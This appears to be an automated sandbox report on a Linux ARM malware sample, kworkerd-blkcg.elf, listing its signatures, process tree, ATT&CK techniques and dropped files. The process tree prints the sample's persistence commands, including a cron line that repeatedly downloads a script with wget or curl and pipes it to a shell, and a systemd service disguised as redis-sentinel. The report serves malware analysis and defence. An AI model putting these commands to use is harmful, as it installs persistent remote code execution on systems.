Overview

overview

7

Static

static

1

kworkerd-blkcg.elf

debian-12-armhf

7

Analysis

  • max time kernel
    21s
  • max time network
    148s
  • platform
    debian-12_armhf
  • resource
    debian12-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian12-armhf-20260513-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
  • submitted
    27/06/2026, 17:28

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General

  • Target
    kworkerd-blkcg.elf
  • Size 259KB
  • Sample260627-v2aekscw4q
  • SHA256 bf23faf4440b3ecf07ebc99d4961bae4274a68c0ee8bb35f1936fcb80284ef47
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Unexpected DNS network traffic destination 2 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 3 IoCs

    Execute scripts via Unix Shell.

    execution
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/kworkerd-blkcg.elf
    /tmp/kworkerd-blkcg.elf
    1⤵
    • Deletes itself
    • Modifies Watchdog functionality
    • Creates/modifies Cron job
    • Enumerates active TCP sockets
    • Modifies systemd
    • Reads MAC address of network interface
    • Changes its process name
    • Checks CPU configuration
    • Reads system network configuration
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:787
    • /bin/sh
      /bin/sh -c "/bin/systemctl daemon-reload 2>/dev/null"
      2⤵
      • Command and Scripting Interpreter: Unix Shell
      PID:802
      • /bin/systemctl
        /bin/systemctl daemon-reload
        3⤵
          PID:805
      • /bin/sh
        /bin/sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
        2⤵
        • Command and Scripting Interpreter: Unix Shell
        PID:824
        • /bin/systemctl
          /bin/systemctl enable --now redis-sentinel.service
          3⤵
            PID:827
        • /bin/sh
          sh -c "/usr/bin/crontab -l 2>/dev/null"
          2⤵
            PID:851
            • /usr/bin/crontab
              /usr/bin/crontab -l
              3⤵
                PID:852
            • /bin/sh
              /bin/sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 794 2>/dev/null && exit 0; (wget -qO- loader.sh || curl -sL loader.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
              2⤵
              • Command and Scripting Interpreter: Unix Shell
              PID:853
              • /usr/bin/crontab
                /usr/bin/crontab -
                3⤵
                • Creates/modifies Cron job
                PID:854

          Network

                MITRE ATT&CK Enterprise v16

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                1
                T1059

                Unix Shell

                1
                T1059.004

                Scheduled Task/Job

                1
                T1053

                Cron

                1
                T1053.003

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                XDG Autostart Entries

                1
                T1547.013

                Create or Modify System Process

                1
                T1543

                Systemd Service

                1
                T1543.002

                Scheduled Task/Job

                1
                T1053

                Cron

                1
                T1053.003

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                XDG Autostart Entries

                1
                T1547.013

                Create or Modify System Process

                1
                T1543

                Systemd Service

                1
                T1543.002

                Scheduled Task/Job

                1
                T1053

                Cron

                1
                T1053.003

                Defense Evasion

                Impair Defenses

                1
                T1562

                Virtualization/Sandbox Evasion

                1
                T1497

                System Checks

                1
                T1497.001

                Credential Access

                Discovery

                System Information Discovery

                1
                T1082

                System Network Configuration Discovery

                2
                T1016

                Internet Connection Discovery

                1
                T1016.001

                Wi-Fi Discovery

                1
                T1016.002

                System Network Connections Discovery

                2
                T1049

                Virtualization/Sandbox Evasion

                1
                T1497

                System Checks

                1
                T1497.001

                Lateral Movement

                Collection

                Command and Control

                Exfiltration

                Impact

                Replay Monitor

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                Downloads

                redis-sentinel.service
                • Path /etc/systemd/system/redis-sentinel.service
                • Size 306B
                • SHA256 13bee754db90aaaf5b11e836404fe381c69e607700ec06bf8105de9d8ec38e62
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                .redis-server.pid
                • Path /tmp/.redis-server.pid
                • Size 3B
                • SHA256 5283f1b4e66467616feca1e0162c7d37e4e304623d6343a525553ffb436cbdfe
                • MD5 SHA1 SHA512
                Submit Download

                root
                • Path /var/spool/cron/crontabs/root
                • Size 129B
                • SHA256 e65f53f851595288b9248c31215708eee9f024bfc30435ca3d736ae8651c0fdf
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                tmp.rsTtjV
                • Path /var/spool/cron/crontabs/tmp.rsTtjV
                • Size 304B
                • SHA256 2bb4ce07947ec34dc575e5294445a9f9111d237fc7fb8b5a037bab9be84a100d
                • MD5 SHA1 SHA512 TLSH
                Submit Download